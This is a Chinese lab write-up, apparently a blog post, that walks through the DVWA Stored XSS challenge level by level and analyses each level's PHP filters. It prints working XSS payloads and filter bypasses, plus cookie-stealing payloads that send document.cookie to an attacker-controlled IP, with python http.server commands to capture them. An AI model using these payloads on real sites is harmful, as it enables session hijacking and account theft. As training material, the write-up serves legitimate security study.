目录

LOW 

通关步骤

源码分析

MEDIUM

通关步骤

源码分析

HIGH

通关步骤

源码分析

IMPOSSIBLE

源码分析

---

存储型XSS也叫持久型XSS，从名字就知道特征是攻击代码会被存储在数据库等存储介质中，因此功效持久。攻击者可以把payload放在网站留言板、评论等位置，待用户访问网站并有匹配payload的行为时，即可触发攻击。

存储型XSS和反射型XSS本质都是一样的，只不过反射型XSS的payload的行动路径是：受害者浏览器--服务器--受害者浏览器，而存储型XSS的payload的行动路径是：浏览器--服务器--存储介质--服务器--受害者浏览器。

相关推荐：

DVWA通关--反射型XSS（XSS (Reflected)）_箭雨镜屋-CSDN博客

pikachu XSS Cross-Site Scripting（皮卡丘漏洞平台通关系列）_箭雨镜屋-CSDN博客

WebGoat (A7) Cross Site Scripting (XSS)_箭雨镜屋-CSDN博客

LOW 

通关步骤

1、试一下最简单的payload：<script>alert(1)</script>

这里我是写在message输入框里面的，name输入框是限制长度的，其实这个长度限制如果仅仅是在html中控制，是可以突破的。

等到第二步的时候来突破一下。

成功弹框

2、尝试突破一下name输入框长度限制

可以在name输入框右键->查看元素（chrome浏览器里面是右键->检查），或者F12打开之后在elements里面自己找找。

可以看到name输入框maxlength是10

直接把maxlength的值改成100

这样就可以绕开输入框长度的html标签属性限制，把payload完整输入进去了

弹出弹框

3、尝试一下获取cookie：

payload：<script>document.write('<img src="http://ip:8899/'+document.cookie+'"/>')</script>

payload里面的ip换成自己的攻击机ip地址，这个ip地址必须是目标机可达的ip地址，并且攻击机上需要起http协议。

简单地起http协议的方法有两种：

（1）用python2：

python2 -m SimpleHTTPServer 8899

（2）用python3：

python3 -m http.server 8899

本来想直接在message输入框输入应该没有什么问题，原来message输入框也有输入长度限制

还是按照步骤2的办法绕过

获取到cookie

P.S.   测试的时候还发现每次点击浏览器的刷新键，都会再生成一个一条guestbook记录。这应该是low等级没有做防止表单重复提交的动作。

源码分析

表单提交后name和message中的内容首先被trim函数移除左右两边的字符，再被stripslashes()函数删除反斜杠（\），然后经过mysqli_real_escape_string() 函数的处理，转义了特殊字符（包括NUL（ASCII 0）、\n、\r、\、'、" 和 Control-Z），然后直接代入mysqli_query()函数来执行INSERT INTO的SQL语句。

完全没有对XSS的防护，另外对SQL注入的防护也不彻底。

MEDIUM

通关步骤

1、这关<script>alert(1)</script>不好使了，显示的都只剩下alert(1)了

2、既然是删除式过滤，常规思路可以尝试以下大小写绕过，双写绕过之类的，不行的话试试没有script的payload。

这次我打算试试双写绕过。

考虑到删得连尖括号都不剩了，试试paylaod：<scrip<script>t>alert(1)</scrip<script>t>

成功弹框

根据这个结果，应该是name里的paylaod生效了，注入点在name输入框。

获取cookie和LOW差不多，注意双写标签就好，不赘述了。

源码分析

比起LOW等级的代码，MEDIUM等级主要是有这三个高亮的地方的修改：

（1）对message的内容中的预定义字符之前添加反斜杠(addslashes函数)。预定义字符包括   '、"、\、NULL（其实感觉这步挺多余的，因为默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()，所以不应对已转义过的字符串使用 addslashes()，会导致双层转义，详细可见https://www.w3school.com.cn/php/func_string_addslashes.asp）

然后用strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

（2）将message中的预定义字符转换为html实体（htmlspecialchars函数）。预定义的字符包含&、<、>、'、"

（3）将name中的<script>删除（使用str_replace函数进行字符串替换，由于该函数是区分参数大小写的，所以也可以采用大写绕过）

本靶场存储型XSS注入的输出位置在html标签中间，因此由于message那里将包括<和>的预定义字符转换成了html实体，所以message处无法注入。

而name处仅仅是对<script>进行了删除，并且该删除操作采用的还是区分参数大小写的函数，而且没有循环删除。

因此name这里至少可以用三种方法绕过：（1）双写<script>绕过，如本文上述示例（2）大写绕过，比如<sCript>（3）换成不带<script>标签的payload

HIGH

通关步骤

1、先用<script>alert(1)</script>试一下，name和message同时试一试

从结果来看，这个name字段的奇葩结果让我想起了反射型XSS的HIGH等级，那边是用正则表达式<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t来过滤的

2、试一下payload：<img src=x οnerrοr=alert(1)>

或者payload：<iframe οnlοad=alert(1)></iframe>

都是可以注入成功的

3、获取cookie

本来想用我之前写的DVWA通关--反射型XSS（XSS (Reflected)）里面的payload：

<a href="" οnclick=&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#119;&#114;&#105;&#116;&#101;&#40;&#39;&#60;&#105;&#109;&#103;&#32;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#105;&#112;&#58;&#56;&#56;&#57;&#57;&#47;&#39;&#43;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;&#43;&#39;&#34;&#47;&#62;&#39;&#41;>hh</a>

（onclick后面是html实体编码了，明文payload是<a href="" οnclick=document.write('<img src="http://ip:8899/'+document.cookie+'"/>')>hh</a>）

但是操作的时候发现name输入框输入不了这么长的字符串，maxlength属性改成1000都不行。

网上查了一下，这个报错是mysql报的，看来改html代码是绕过不了了。

又一些机缘巧合，发现name输入框好像最多maxlength=100

放弃这个之后，我思考了一下，这关获取cookie需要满足两个条件：

（1）payload匹配不上<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t。因此payload中使用的外层标签中就不能有src属性。

（2）payload中的html标签最好是空标签，这样长度可以短一点。

功夫不负有心人啊。。终于找到符合条件的payload，先试一下弹框：<img alt=x οnmοuseοver=alert(1)>

鼠标滑过这个破碎的图片标识的时候会触发弹框

尝试获取cookie的payload：<img alt=x οnmοuseοver=document.write('<img src="http://ip:8899/'+document.cookie+'"/>')>

结果发现又不行啊。。。匹配上<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t了，看来事件的选取也很重要，不能带s

又费了九牛二虎之力，终于又搞出来个payload：<input οnblur="alert(1)">

这把是要先让留言中的输入框获得焦点（框里点一下），然后再使其失去焦点（框外点一下），才能触发弹框。

试试获取cookie的payload：<input οnblur="document.write('<img src=&quot;http://ip:8/'+document.cookie+'&quot;/>')">

从构造这个payload的过程中学习了两点：

（1）事件发生后的动作中如果包含>，为了避免这个>匹配上payload标签的<，一种方法是对动作（事件= 之后的内容）进行html实体编码，另一种是把动作用双引号括起来。

（2）这个payload涉及到了html中的引号三层嵌套，采用的方法是双引号嵌套单引号，最内层用的是双引号的html实体编码，避免和最外层双引号组成一对。

源码分析

果然是这个浓眉大眼的家伙<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t

HIGH的代码和MEDIUM的代码相差不大，就是对name的处理上，把str_replace()函数换成了preg_replace()函数，使用这个函数来删掉能够匹配上正则表达式<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t的子字符串，并且匹配的时候不区分大小写。

IMPOSSIBLE

源码分析

IMPOSSIBLE的源代码包含对三种攻击的防范：

（1）橙色下划线的部分是对CSRF的防范，采用的是创建和检查token的方式。

这个后面到CSRF通关的时候再说。

另外，托这个CSRF token的福，还解决了表单重复提交的问题。这一关刷新浏览器不会增加一份内容一样的留言，而是会像下面这样提示CSRF token is incorrect。

（2）黄色荧光笔标出来的部分是对XSS的防范，采用的是htmlspecialchars函数将输出中的预定义字符转换为HTML编码的方法。

函数语法：

htmlspecialchars(string,flags,character-set,double_encode)

预定义的字符包含&、<、>、'、"

其中是否编码引号是可以通过flags参数控制的。

从下图可见，这里flags参数采用的是默认值，因此这里只编码了双引号。

不过由于这里输出是在标签中间，和引号没啥关系，编码了 < 和 > 也就没有操作空间了。

（没错，和反射性XSS用的是同一种方法）

（3）粉色括起来的部分是对SQL注入的防范，采用了预编译语句。这个到SQL注入通关的时候再分析。